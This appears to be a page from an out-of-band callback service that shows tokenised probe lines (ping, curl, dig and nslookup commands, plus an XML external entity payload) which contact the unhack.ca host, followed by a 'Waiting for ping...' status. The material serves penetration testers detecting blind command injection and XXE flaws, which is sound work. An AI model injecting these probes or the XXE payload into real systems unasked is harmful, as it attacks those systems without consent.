$ ping -c1 -p 00506769d09a66b9eda94c0936653e00 unhack.ca
 
$ curl http://unhack.ca/p/506769d09a66b9eda94c0936653e
 
$ dig 506769d09a66b9eda94c0936653e @unhack.ca
 
$ dig 506769d09a66b9eda94c0936653e.ns.unhack.ca
 
C:\> nslookup 506769d09a66b9eda94c0936653e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/506769d09a66b9eda94c0936653e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...